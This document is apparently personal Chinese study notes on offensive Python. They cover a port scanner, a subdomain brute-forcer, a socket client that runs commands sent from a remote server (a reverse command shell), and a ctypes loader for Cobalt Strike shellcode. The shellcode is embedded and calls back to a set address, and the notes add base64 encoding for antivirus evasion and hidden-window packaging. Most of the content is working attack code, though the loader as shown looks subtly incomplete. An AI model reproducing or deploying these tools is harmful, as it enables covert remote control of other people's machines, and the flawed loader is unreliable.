2、安全开发-Python-Socket编程&端口探针&域名爆破&反弹Shell&编码免杀

用途：个人学习笔记，欢迎指正！

主要内容：

python-Socket编程：主要对端口扫描、子域名扫描、客户端服务端通信等脚本简单实现，python打包工具pyinsaller使用，以及python代码执行shellcode-CS上线。

一、端口扫描(未开防火墙情况)

1、Python关键代码:

s = socket.socket()
s.connect((ip,port)) #判断端口是否开放，如果开放则能连接成功

2、完整代码：多线程配合Queue进行全端口扫描

import socket,sys,threading,queue

#端口扫描
#获取扫描的IP和端口
#连接IP和端口(socket)
#判断连接状态-开放和关闭

def port_scan(ip):
    while not q.empty():
        port=q.get()
        s=socket.socket()
        try:
            s.connect((ip,port))
            print(ip+":"+str(port)+':open')
        except Exception as e:
            pass
            #print(str(port)+':close')
        finally:
            s.close()

if __name__ == '__main__':
    #自定义端口扫描
    #ports=input('please input scan ports(eg:135,80,445):')
    #ip=input('please input scan ip:')
    ip=sys.argv[1]   #接收IP
    th_nums = sys.argv[2]  #接收线程数

    #全端口扫描
    q=queue.Queue()
    for port in range(1,65536):
        q.put(port)

    for th_num in range(int(th_nums)):
        t = threading.Thread(target=port_scan,args=(ip,))
        t.start()

二、子域名扫描

1、Python关键代码:

ip = socket.gethostbyname(urls)   //判断域名是否存在，如果存在则能获取到ip

2、完整代码： 子域名扫描

import socket
#通过域名解析IP
#域名存在 IP就有 不存在就没有 报错
#dic.txt字典保存随机字符的组合，用于拼接URL进行扫描
def subDomain_scan(url):
    for u in open('dic.txt'):
        urls=(u+'.'+url).replace('\n','')
        #print(urls)
        try:
            ip=socket.gethostbyname(urls)
            print(urls+"|"+ip)
        except Exception as e:
            pass

if __name__ == '__main__':
    url=input('please input scan url:')
    subDomain_scan(url)

三、客户端，服务端Socket编程通信cmd命令执行

s=os.popen(cmdLine).read() #python代码执行cmd命令
pyinstaller --onefile --noconsole your_script.py #cmd命令：pyinstaller打包

1、客户端:

import socket,os

host = "127.0.0.1" 
port = 6665   
if __name__ == '__main__':
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    client.connect((host,port))
    while True:
        # cmdLine = input("please input cmdLine:")
        # client.send(cmdLine.encode('utf-8'))
        try:
            cmdLine = client.recv(4096).decode('utf-8')
            result = os.popen(cmdLine).read()
            client.send(result.encode('utf-8'))
        except Exception as e:
            pass

2、服务端：

import socket,os

bind_ip = "0.0.0.0"
bind_port = 6665

if __name__ == '__main__':
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((bind_ip, bind_port))
    server.listen(5)
    while True:
        client,addr = server.accept()
        print(str(addr)+"上线了！")
        while True:
            cmdLine = input("please input cmdLine:")
            client.send(cmdLine.encode('utf-8'))
            result = client.recv(4096).decode('utf-8')
            print(str(addr) + "执行命令-----》" + cmdLine)
            print(result)

            # result = os.popen(cmdLine).read()
            # client.send(result.encode('utf-8'))

四、python代码shellCode编码免杀&后门上线

前提：

1、python版本与shellcodes生成位数一致
2、amd inter cpu型号要和python版本一致

1、CS生成shellcode

2、python未编码: 二进制shellcode执行，CS上线代码

import ctypes

#shellcode由CS生成
shellcode = b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x0a\x1a\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x44\x51\x56\x71\x00\xda\xae\x91\xc9\x39\x2e\xdb\x7b\x3e\x41\x32\xf3\xae\x10\x3e\x67\x6e\x64\xd7\x56\x13\x45\x9f\x2d\xed\xb2\x32\x93\xbb\x9e\xed\x17\x5a\xa3\x17\xc4\x34\xfb\x77\xc8\x9b\xa8\x1d\x83\xd1\xf1\x0c\xfe\xed\x59\x79\x27\x30\xf4\x80\x75\x6e\xaa\x25\x28\xbc\xfc\xb7\x68\x15\xbd\x16\x6d\x86\xdf\x6f\x4a\x7b\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x31\x2e\x31\x2e\x34\x33\x32\x32\x3b\x20\x42\x4f\x49\x45\x38\x3b\x45\x4e\x55\x53\x29\x0d\x0a\x00\xba\x79\x54\xdc\x1e\xdf\x51\x79\x3c\x5f\xb4\xe2\x52\x59\x4c\xbc\x57\xc9\x8e\x9f\x59\x4c\x62\x7a\x7c\x2f\xab\x27\x00\xef\x84\xd2\xb1\xc4\x19\xdf\x73\xec\x25\x1e\xf6\xfc\x89\x2b\x7f\x9e\xc5\xdb\x6c\xac\x73\x8a\xfd\x6c\x94\x9f\xeb\x18\xb5\x42\xcb\x1b\xc1\xed\x8e\xd4\x6e\x96\x8d\x13\x0e\x0d\x8f\x51\x68\x3a\xa6\x24\xcb\xc5\x1f\xde\x15\x7e\xa7\xbc\x32\x8a\xcd\x09\x19\x65\x2e\x32\xc9\x4a\xe2\xdb\x47\x44\x37\x61\x56\xde\xf5\x0f\x32\x7a\xdc\x12\x20\xb3\x08\x63\x34\x6e\x41\x99\xf7\x78\x1d\xb0\xc5\x73\x64\xb6\xad\x46\x91\xc6\x84\x14\xbd\x38\xbe\x80\x87\x8c\x9f\xec\xc9\xb0\x65\x23\xf5\x3a\x14\x25\x90\x3a\x4a\x77\x4a\xaf\x3b\xf5\x43\x3f\xe7\x6f\x10\xdd\x5e\xc7\xc6\x4f\x20\x48\x1a\xc0\x24\x6f\x28\xb1\x62\x75\x1b\xa9\x36\xba\xd9\xfe\xac\xe9\xc5\xa8\x94\x56\x9b\xdf\x4b\xd6\x8a\x05\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x33\x39\x2e\x31\x33\x30\x00\x17\x50\x65\xea"

rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode),0x1000, 0x40)

handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0,0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

3、将shellcode进行base64编码，然后解码运行

4、pyinstaller打包脚本，#cmd命令

pyinstaller --onefile --noconsole your_script.py
